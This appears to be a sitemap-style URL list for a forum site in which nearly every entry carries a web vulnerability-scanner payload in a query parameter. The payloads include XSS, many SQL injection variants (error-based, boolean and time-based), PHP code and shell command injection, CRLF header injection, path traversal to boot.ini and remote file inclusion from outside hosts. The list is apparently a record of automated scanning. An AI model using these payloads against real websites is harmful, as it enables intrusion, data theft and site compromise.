http://www.cncml.com/forum.php?view=new&mod=guide%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%5B%5D 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%5C%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%5C' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%bf%27 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20'5F'='5F 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20'9B'='PP 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20'FW'='Jv 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20'mi'='mi 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20'yU'%20LIKE%20'yU 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20'yq'%20LIKE%20'H5 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20'Fe'='Fe 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=66)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20'Ol'='Ol 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%20('4E'%20LIKE%20'6e 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%20('Tt'%20LIKE%20'Tt 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%2016=16%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%2099=29%20AND%20('o7'='o7 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20OR%2096=96%20AND%20('4F'='4F 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=41)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20('fo'='fo 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20('Mz'='Mz 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20(76=76 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(83=16)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20(83=83 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(39=28)%20THEN%200x6775696465%20ELSE%2039*(SELECT%2039%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x6775696465%20ELSE%2041*(SELECT%2041%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x6775696465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(46=46)%20THEN%200x6775696465%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(77=41)%20THEN%200x6775696465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20(CASE%20WHEN%20(83=14)%20THEN%200x6775696465%20ELSE%2083*(SELECT%2083%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide1 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide6633x3X6 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guideAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guideAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guideJyI%3D 0.0001 http://www.cncml.com/forum.php?view=new&mod=guidea' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guidealert(42873) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guidee360 0.0001 http://www.cncml.com/forum.php?view=new&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?view=new&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?view=new&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?view=new&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?view=new&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?view=new&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?view=new&mod=phpinfo 0.0001 http://www.cncml.com/forum.php?view=new&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?view=new&mod=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/group.php?sgid=12 0.0001 http://www.cncml.com/group.php?sgid=14&orderby=thread 0.0001 http://www.cncml.com/group.php?sgid=35 0.0001 http://www.cncml.com/home.php 0.0004 http://www.cncml.com/home.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%3Cdir 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6D697363%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(14=27)%20THEN%200x6D697363%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(27=27)%20THEN%200x6D697363%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(27=71)%20THEN%200x6D697363%20ELSE%2027*(SELECT%2027%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x6D697363%20ELSE%2042*(SELECT%2042%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(73=51)%20THEN%200x6D697363%20ELSE%2073*(SELECT%2073%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(79=79)%20THEN%200x6D697363%20ELSE%2079*(SELECT%2079%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20(CASE%20WHEN%20(98=59)%20THEN%200x6D697363%20ELSE%2098*(SELECT%2098%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=................windowswin.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/home.php?ac=sendmail&rand=1452889343&mod=../../../../../../../../boot.ini%00.jpg 0.0001 